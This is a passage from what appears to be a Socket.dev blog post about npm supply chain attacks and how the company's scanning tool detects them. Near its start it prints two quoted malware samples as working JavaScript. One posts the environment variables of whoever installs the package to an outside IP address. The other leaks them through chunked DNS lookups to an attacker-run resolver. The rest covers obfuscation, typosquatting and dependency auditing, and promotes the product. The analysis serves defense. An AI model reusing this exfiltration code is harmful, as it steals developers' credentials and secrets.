  <span class="hljs-attr">"files"</span>: [<span class="hljs-string">"specific-fields.js"</span>, <span class="hljs-string">"index.js"</span>, <span class="hljs-string">"dns.js"</span>],
  <span class="hljs-attr">"author"</span>: <span class="hljs-string">""</span>,
  <span class="hljs-attr">"license"</span>: <span class="hljs-string">"ISC"</span>
}
</code></pre>
<p>Again this is a standard install script attack vector. But it runs a few
different payloads, each using a different technique.</p>
<p>Let's look at the first:</p>
<h3><code>http.js</code></h3>
<pre><code class="hljs language-js"><span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">'https'</span>)

req = http
  .request({
    <span class="hljs-attr">host</span>: <span class="hljs-string">'34.195.72.180'</span>,
    <span class="hljs-attr">path</span>: <span class="hljs-string">'/'</span>,
    <span class="hljs-attr">method</span>: <span class="hljs-string">'POST'</span>,
    <span class="hljs-attr">headers</span>: {
      <span class="hljs-attr">host</span>: <span class="hljs-string">'411c316239cf14afaa1f37bbc5666207.m.pipedream.net'</span>,
      <span class="hljs-string">'User-Agent'</span>: <span class="hljs-string">'Mozilla/5.0 (Windows NT 10.0; Win64; x64) \
    AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36'</span>
    }
  })
  .on(<span class="hljs-string">'error'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">err</span>) </span>{})

req.write(Buffer.from(<span class="hljs-built_in">JSON</span>.stringify(process.env)).toString(<span class="hljs-string">'base64'</span>))
req.end()
</code></pre>
<p>You can see that the malware collects the environment variables via
<code>process.env</code> and then makes an HTTP request to exfiltrate the data to an IP
address.</p>
<p>But this malware also uses a backup exfiltration technique:</p>
<h3><code>dns.js</code></h3>
<pre><code class="hljs language-js"><span class="hljs-keyword">var</span> { Resolver } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'dns'</span>)
<span class="hljs-keyword">var</span> zlib = <span class="hljs-built_in">require</span>(<span class="hljs-string">'zlib'</span>)

<span class="hljs-keyword">var</span> resolver = <span class="hljs-keyword">new</span> Resolver()

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">splitString</span>(<span class="hljs-params">string, size</span>) </span>{
  <span class="hljs-keyword">var</span> re = <span class="hljs-keyword">new</span> <span class="hljs-built_in">RegExp</span>(<span class="hljs-string">'.{1,'</span> + size + <span class="hljs-string">'}'</span>, <span class="hljs-string">'g'</span>)
  <span class="hljs-keyword">return</span> string.match(re)
}

resolver.setServers([<span class="hljs-string">'165.232.68.239'</span>])
<span class="hljs-keyword">var</span> d = process.env || {}
<span class="hljs-keyword">var</span> data = redactedForBrevity()

<span class="hljs-keyword">var</span> encData = zlib
  .brotliCompressSync(Buffer.from(<span class="hljs-built_in">JSON</span>.stringify(data)))
  .toString(<span class="hljs-string">'hex'</span>)

<span class="hljs-keyword">var</span> ch = splitString(encData, <span class="hljs-number">60</span>)

<span class="hljs-keyword">var</span> dt = <span class="hljs-built_in">Date</span>.now()

<span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i &lt; ch.length; i++) {
  <span class="hljs-keyword">const</span> domain = [<span class="hljs-string">'l'</span> + dt, i + <span class="hljs-number">1</span>, ch.length, ch[i]].join(<span class="hljs-string">'.'</span>)
  resolver.resolve4(domain, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">err</span>) </span>{})
}
</code></pre>
<p>In addition to HTTP, it uses DNS to send the data to the attacker. This is
useful when an firewall is present since these often don't block DNS lookups.</p>
<p>To pull this off, the attacker uses a custom DNS resolver and puts the
environment variables they're stealing into a subdomain.</p>
<p>And finally, our last attack technique...</p>
<h2>6. Obfuscation</h2>
<p>We already saw an example of this before. Obfuscated code makes it hard to audit code and decipher what it is doing. This can be used to hide malicious code from tools which use static analysis, such as <a class="chakra-link css-f4h6uy" href="https://socket.dev/">Socket</a>, although we have techniques to detect obfuscation and we use that as a strong negative signal.</p>
<p>Another type of obfuscation is when attackers publish different code to npm than
they publish on GitHub. When they do that, npm doesn't make it easy to see what
code is actually in the npm package, and so a lot of people who are trying to
evaluate a package will rely on the version of the code that's on GitHub.
There's no guarantee that the code on GitHub is the same as the code on npm.</p>
<p>Now let's talk about how you can protect your app.</p>
<h2>How can you protect your app from supply chain attacks?</h2>
<p>We asked ourselves this question when we were working on
<a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://wormhole.app">Wormhole<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a>, which lets you share files with end-to-end
encryption. Our goal was to make Wormhole the best way to send files, combining the usability of a web app with <a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://wormhole.app/security">best-in-class security<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a>.</p>
<a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://wormhole.app"></a>
<p>As the frequency of npm supply chain attacks increased throughout 2021, we became concerned about the safety of our dependencies.</p>
<p>We realized we needed to improve the way we vet our open source dependencies or else we would be leaving our user's security and privacy to chance. We didn't feel comfortable telling people to trust our service with their most precious data when malware could be lurking in any dependency update.</p>
<p>We started thinking carefully about this problem space and started building
solutions. Here are some of the things we did, and what you can do too:</p>
<h2>1. Change the way you think about dependencies</h2>
<p>As an industry, we need a mindset shift around the way we use dependencies. Too
many developers assume they can just install open source code from the internet
and, barring bugs, it will always do what it says on the tin. Unfortunately, as
we've seen, this just isn't true.</p>
<p>Open source is like an all-you-can-eat buffet – no one will stop you from
scooping an unlimited number of dependencies onto your plate. Of course, like a
buffet, there are health consequences to overindulging. You take a small hit
with each dependency you install.</p>
<p>If you're shipping code to production that includes open source code, then you must treat the open source code as part of your app. You are ultimately responsible for the behavior of that code.</p>
<div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>You are responsbile for the code that you ship to production, whether you
wrote it or it comes from open source.</p></aside></div></div>
<p>The most popular open source license, the MIT license, actually literally says
this:</p>
<blockquote>
<p><strong>THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED</strong>, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. <strong>IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY</strong>, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</p>
</blockquote>
<p>Most developers don't think of open source this, way but it's actually how it works.</p>
<h2>2. Dig deeper than the README</h2>
<p>Many developers rely on heuristics to determine if a package is good:</p>
<ul>
<li>✅ Does it get the job done?</li>
<li>✅ Does it have good docs?</li>
<li>✅ Does it have lots of downloads and GitHub stars?</li>
<li>✅ Does it have recent commits?</li>
<li>✅ Does it have tests? Types?</li>
</ul>
<p>Checking for these things is good, but it's not enough to stop supply chain
attacks. To stop attacks, you must dig deeper.</p>
<p>We built a tool called <a class="chakra-link css-f4h6uy" href="https://socket.dev/">Socket</a> to help you do this.</p>
<p>We built Socket to look for the markers present in the recent npm supply chain
attacks (as discussed above). Unlike other tools such as Snyk or Dependabot,
Socket analyzes the actual <strong>behavior</strong> of a package instead of relying on stale
data from a known vulnerability (CVE) database. This way, we can detect and
block attacks before they've been discovered by the community.</p>
<p>You can use Socket to quickly evaluate the security of a package:</p>
<a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/bufferutil"></a>
<p>In this example, you can see that <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/bufferutil"><code>bufferutil</code></a>
contains install scripts. It's called out prominently at the top of the page,
along with a link to the exact code that will run when you run <code>npm install bufferutil</code>.
In this instance, <code>bufferutil</code>'s use of install scripts is legitimate, but it's
nice to be able to know <em>before</em> you run <code>npm install bufferutil</code> that code will
be immedately executed, as well as what that code will do, so that you can make an informed decision about whether to proceed.</p>
<p>You'll also notice helpful Package Health scores at the top of the page.</p>
<p>Now let's take a look at another example:</p>
<a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/angular-calendar"></a>
<p>The package <code>angular-calendar</code> is quite a useful package. It's a calendar
web component that renders a little calendar widget.</p>
<p>But, if you dig into its dependencies, you'll actually find that some of them have behavior that is potentially concerning:</p>
<a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/angular-calendar/issues"></a>
<p>You can see here that one of <code>angular-calendar</code>'s dependencies contains install scripts, runs shell scripts, accesses the file system, and accesses the network.</p>
<p>This is probably not something that you would expect a web component to be doing, and so it may be worth some further investigation to figure out what's going on
here before you use this package.</p>
<p>Fortunately, Socket makes it easy to see which code is triggering a security issue. Just click any issue to jump straight to the line of code that is causing the issue.</p>
<a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/@scarf/scarf/files/1.1.1/report.js"></a>
<p>In this example, you can see the exact line of code where this package accesses the network, the shell, the filesystem, environment variables, and more.</p>
<p>Socket makes it easy to get an idea of what a package will do <em>before you install it</em>.</p>
<p>If you want to research packages on Socket to make an informed decision before
you install them, you can do that by visiting <a class="chakra-link css-f4h6uy" href="https://socket.dev/">socket.dev</a>.
Pro-tip: you can use our handy shortcut and just visit
<code>socket.dev/&lt;package-name&gt;</code> to go straight to a package page. For example, try
<a class="chakra-link css-f4h6uy" href="https://socket.dev/fastify">socket.dev/fastify</a>.</p>
<h2>3. Update your dependencies at the right cadence</h2>
<p>How quickly should you update your dependencies? This is a question that a lot of teams, including our own, struggled with.</p>
<p>Should you err on the side of updating slowly or quickly?</p>
<p>If you <strong>update slowly</strong> you're exposed to <strong>known vulnerabilities</strong> and you're running code that's old and may have bugs that have been fixed in a newer version. Not only that, if a security vulnerability is discovered in the future, being on a super old version will make it harder to update to take the security fix.</p>
<p>On the other hand, if you <strong>update quickly</strong> you expose yourself to <strong>supply chain attacks</strong> because you're now running code that may have been published <em>literally hours ago</em> which means that very few, if any, eyeballs have had a chance to look at the code.</p>

<p>This is a hard tradeoff to balance. Different teams will make different decisions.</p>
<p>However, you can use Socket to help. With the Socket
<a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>, you can accept most dependency updates quickly –
those where the package's capabilities have not changed – while reserving time
to review more significant updates. This way you can spend your limited team
resources auditing the highest-impact dependency updates, instead of choosing an
all-or-nothing approach.</p>
<blockquote>
<p>Socket is in beta. This GitHub App currently supports typosquat detection
only. The <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">remaining detections</a> will become available within the
GitHub App by end of March.</p>
</blockquote>
<h2>4. Audit your dependencies</h2>
<p>How closely should you audit a dependency before allowing it into your app?</p>
<p>One option is to do a <strong>full audit</strong> – literally read every line of code in
every dependency. Google is known to do a full audit and then to vendor their
open source dependencies. This is great for preventing supply chain attacks but
it takes a full-time team to manage this – the audits, the updates, the
allowlist, applying critical security patches – and even still, Google is
usually several major versions behind for most libraries. This approach is out
of reach for all but the largest companies or the most security-critical
applications (e.g. crypto wallets). It's lots of work, it's slow, it's
expensive.</p>
<p>On the other hand, <strong>doing nothing</strong> is also an option – and it's the one that
most teams take. On most teams, any developer can install any dependency they
want to get the job done. Most of the time, no one on the team even looks at the
code in these dependencies before approving the pull request. As you might
expect, this approach leaves you completely vulnerable to supply chain attacks,
it's risky, and it can be expensive, albeit in the form of breaches, bad press,
and government fines.</p>

<p>Without tooling, this is a hard tradeoff to manage, which explains why most teams just do nothing.</p>
<p>However, Socket can help here too. With the Socket <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>,
you can accept most dependency updates without auditing the code – especially if
there are no issues detected by Socket – while reserving time to review packages
which have risky behavior such as using <code>eval()</code>, or that contain obscuted code.
Socket helps you spend your limited team resources auditing the highest-impact
dependency updates, instead of choosing an all-or-nothing approach.</p>
<blockquote>
<p>Socket is in beta. This GitHub App currently supports typosquat detection
only. The <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">remaining detections</a> will become available within the
GitHub App by end of March.</p>
</blockquote>
<h2>Find the happy medium with Socket</h2>
<p>You don't need to throw your hands up in exasperation and do nothing about supply chain risk. We built Socket to be the antidote to an all-or-nothing approach.</p>
<p>With the Socket approach:</p>
<ul>
<li>Use automation to automatically evaluate all dependencies</li>
<li>Detect and block attacks such as malware, hidden code, typo-squatting, etc.</li>
<li>Have humans manually audit suspicious packages (i.e. new capabilities added)</li>
<li>Provide security information directly in pull request comments</li>
</ul>
<h2>How to use Socket today</h2>
<p>You can install Socket as a <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>. It will automatically evaluate all changes to <code>package.json</code> and other “package manifest” files such as <code>package-lock.json</code> and <code>yarn.lock</code>. Whenever a new dependency is added in a pull request, Socket will evaluate it and leave a comment indicating if it is a security risk.</p>
<p>For example, say that you accidentally installed <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/browserlist"><code>browserlist</code></a> instead of <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/browserslist"><code>browserslist</code></a>, a very easy mistake to make. Socket will detect this and leave a comment in the pull request:</p>
<a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations"></a>
<p>With the Socket GitHub App in place, the developer who opened the pull request
(or the developer reviewing it) will have their attention drawn to this
typosquat issue. Socket doesn't get in the way, but it does augment your review
process.</p>
<p>Before we started building Socket, I
<a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://github.com/preactjs/preact-cli/pull/1576">found this exact typosquat issue<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a> in the popular <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/preact"><code>preact</code></a> package. It's an easy mistake to
make, and that's probably why <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/browserlist"><code>browserlist</code></a>
continues to be downloaded 15,000 times each week.</p>
<p>This particular example with <code>browserlist</code> is not unique. There are hundreds of
thousands of npm packages within 1-2 characters of each other, so this is a very
easy mistake to make. Typosquatting is one of the most common supply chain
attack vectors.</p>
<p>Socket has <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">60 detections</a> in five different categories – supply
chain risk, quality, maintenance, known vulnerabilities, and license. Each of
these issues won't immediately trigger an alert. Rather, we use each of these
issues as one signal into supply chain risk formula that determines whether we
will raise an issue to your attention. Socket aims to only raises high signal
issues that are worth your precious time and attention.</p>
<p>If you decide to <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">install the Socket GitHub App</a>, we're eager for
your feedback. Please join our Discord (link in the footer) or <a class="chakra-link css-f4h6uy" href="https://socket.dev/contact">send us an email</a>.</p>
<blockquote>
<p>Socket is in beta. This GitHub App currently supports typosquat detection only. The <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">remaining detections</a> will become available within the GitHub App by end of March.</p>
</blockquote>
<h2>How much will Socket cost?</h2>
<p>Open source package search with Socket Package Health Scores are <strong>free to
everyone</strong> on our website, <a class="chakra-link css-f4h6uy" href="https://socket.dev/">https://socket.dev</a>.</p>
<p>Socket integrations, such as the <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>, are <strong>free for open source repositories, forever</strong>. For private repositories, Socket is free while we're in beta. We're still working out pricing; we're aiming to keep it affordable so every team can get protected.</p>
<h2>We can improve supply chain security, together!</h2>
<p>The open source ecosystem faces an unprecedented supply chain security threat but all hope is not lost. As developers, we can take responsibility for our software supply chain and help make the world a safer place.</p>
<p>P.S. We're hiring at Socket! Check out our <a class="chakra-link css-f4h6uy" href="https://socket.dev/jobs">jobs page</a> if you're
interested in working to secure the software supply chain.</p>
